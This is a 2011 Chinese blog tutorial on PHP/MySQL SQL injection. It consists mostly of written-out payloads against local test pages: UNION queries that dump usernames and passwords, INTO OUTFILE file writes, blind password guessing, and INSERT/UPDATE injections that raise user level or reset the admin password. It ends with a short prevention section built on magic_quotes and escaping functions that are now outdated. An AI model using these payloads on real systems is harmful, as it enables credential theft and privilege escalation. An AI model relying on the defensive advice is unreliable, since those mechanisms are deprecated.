PHP的SQL注入实现(测试代码安全不错)


Posted in PHP onFebruary 27, 2011

SQL注入的重点就是构造SQL语句,只有灵活的运用SQL
语句才能构造出牛比的注入字符串。学完之后写了点笔记,已备随时使用。希望你在看下面内容时先了
解SQL的基本原理。笔记中的代码来自网络。
===基础部分===
本表查询:
http://127.0.0.1/injection/user.php?username=angel' and LENGTH(password)='6
http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,1)='m

Union联合语句:
http://127.0.0.1/injection/show.php?id=1' union select 1,username,password from user/*
http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user/*

导出文件:
http://127.0.0.1/injection/user.php?username=angel' into outfile 'c:/file.txt
http://127.0.0.1/injection/user.php?username=' or 1=1 into outfile 'c:/file.txt
http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user into outfile 'c:/user.txt

INSERT语句:
INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1');
构造homepage值为:http://4ngel.net', '3')#
SQL语句变为:INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', 'angel', 'mypass', 'http://4ngel.net', '3')#', '1');

UPDATE语句:我喜欢这样个东西
先理解这句SQL
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id'
如果此SQL被修改成以下形式,就实现了注入
1:修改homepage值为
http://4ngel.net', userlevel='3
之后SQL语句变为
UPDATE user SET password='mypass', homepage='http://4ngel.net', userlevel='3' WHERE id='$id'
userlevel为用户级别
2:修改password值为
mypass)' WHERE username='admin'#
之后SQL语句变为
UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id'
3:修改id值为
' OR username='admin'
之后SQL语句变为
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin'

===高级部分===
常用的MySQL内置函数
DATABASE()
USER()
SYSTEM_USER()
SESSION_USER()
CURRENT_USER()
database()
version()
SUBSTRING()
MID()
char()
load_file()
……
函数应用
UPDATE article SET title=DATABASE() WHERE id=1
http://127.0.0.1/injection/show.php?id=-1 union select 1,database(),version()
SELECT * FROM user WHERE username=char(97,110,103,101,108)
# char(97,110,103,101,108) 相当于angel,十进制
http://127.0.0.1/injection/user.php?userid=1 and password=char(109,121,112,97,115,115)http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,1)>char(100)
http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))>111

确定数据结构的字段个数及类型
http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1
http://127.0.0.1/injection/show.php?id=-1 union select char(97),char(97),char(97)

猜数据表名
http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1 from members

跨表查询得到用户名和密码
http://127.0.0.1/ymdown/show.php?id=10000 union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1

其他
#验证第一位密码
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49

===注入防范===
服务器方面
magic_quotes_gpc设置为On
display_errors设置为Off
编码方面
$keywords = addslashes($keywords);
$keywords = str_replace("_","\_",$keywords);
$keywords = str_replace("%","\%",$keywords);
数值类型
使用intval()抓换
字符串类型
SQL语句参数中要添加单引号
下面代码,用于防治注入
if (get_magic_quotes_gpc()) {
//....
}else{
$str = mysql_real_escape_string($str);
$keywords = str_replace("_","\_",$keywords);
$keywords = str_replace("%","\%",$keywords);
}
有用的函数
stripslashes()
get_magic_quotes_gpc()
mysql_real_escape_string()
strip_tags()
array_map()
addslashes()
参考文章:
http://www.4ngel.net/article/36.htm (SQL Injection with MySQL)中文
http://www.phpe.net/mysql_manual/06-4.html(MYSQL语句参考)

PHP 相关文章推荐
Win2003下APACHE+PHP5+MYSQL4+PHPMYADMIN 的简易安装配置
Nov 18 PHP
fleaphp常用方法分页之Pager使用方法
Apr 23 PHP
Session服务器配置指南与使用经验的深入解析
Jun 17 PHP
PHP实现的MongoDB数据库操作类分享
May 12 PHP
PHP中读取文件的8种方法和代码实例
Aug 05 PHP
wamp安装后自定义配置的方法
Aug 23 PHP
php新浪微博登录接口用法实例
Dec 23 PHP
php实现Mongodb自定义方式生成自增ID的方法
Mar 23 PHP
全面解读PHP的Yii框架中的日志功能
Mar 17 PHP
PHP之图片上传类实例代码(加了缩略图)
Jun 30 PHP
laravel 配置路由 api和web定义的路由的区别详解
Sep 03 PHP
Thinkphp 框架配置操作之动态配置、扩展配置及批量配置实例分析
May 15 PHP
php通用防注入程序 推荐
Feb 26 #PHP
8个出色的WordPress SEO插件收集
Feb 26 #PHP
zend framework多模块多布局配置
Feb 26 #PHP
让你成为更出色的PHP开发者的10个技巧
Feb 25 #PHP
理解php Hash函数,增强密码安全
Feb 25 #PHP
php中根据某年第几天计算出日期年月日的代码
Feb 24 #PHP
PHP中防止SQL注入实现代码
Feb 19 #PHP
You might like
eWebEditor v3.8 商业完整版 (PHP)
2006/12/06 PHP
Laravel框架实现抢红包功能示例
2019/10/31 PHP
createElement与createDocumentFragment的点点区别小结
2011/12/19 Javascript
jquery选择器之属性过滤选择器详解
2014/01/27 Javascript
详解AngularJS中自定义过滤器
2015/12/28 Javascript
果断收藏9个Javascript代码高亮脚本
2016/01/06 Javascript
详解JavaScript中this关键字的用法
2016/05/26 Javascript
微信小程序开发经验总结(推荐)
2017/01/11 Javascript
详解angularJs中自定义directive的数据交互
2017/01/13 Javascript
设置cookie指定时间失效(实例代码)
2017/05/28 Javascript
微信小程序实现折叠展开效果
2018/07/19 Javascript
vue数据更新UI不刷新显示的解决办法
2020/08/06 Javascript
jQuery实现动态加载瀑布流
2020/09/01 jQuery
[44:40]KG vs LGD 2019国际邀请赛小组赛 BO2 第一场 8.15
2019/08/16 DOTA
python获取android设备的GPS信息脚本分享
2015/03/06 Python
Python 编码Basic Auth使用方法简单实例
2017/05/25 Python
python中requests和https使用简单示例
2018/01/18 Python
对python使用http、https代理的实例讲解
2018/05/07 Python
在django admin中添加自定义视图的例子
2019/07/26 Python
基于Python实现签到脚本过程解析
2019/10/25 Python
selenium如何定位span元素的实现
2021/01/13 Python
利用CSS3实现开门效果实例源码
2016/08/22 HTML / CSS
德国旅游网站:weg.de
2018/06/03 全球购物
杠杆的科学教学反思
2014/01/10 职场文书
关于圣诞节的广播稿
2014/01/26 职场文书
公司管理建议书范文
2014/03/12 职场文书
股权转让协议书
2014/04/12 职场文书
小学语文课后反思精选
2014/04/25 职场文书
竞选学习委员演讲稿
2014/04/28 职场文书
教师年度考核个人总结
2015/02/12 职场文书
校园开放日新闻稿
2015/07/17 职场文书
2015教师个人德育工作总结
2015/07/22 职场文书
golang goroutine顺序输出方式
2021/04/29 Golang
vue+springboot实现登录验证码
2021/05/27 Vue.js
springcloud之Feign超时问题的解决
2021/06/24 Java/Android
2022年四月新番
2022/03/15 日漫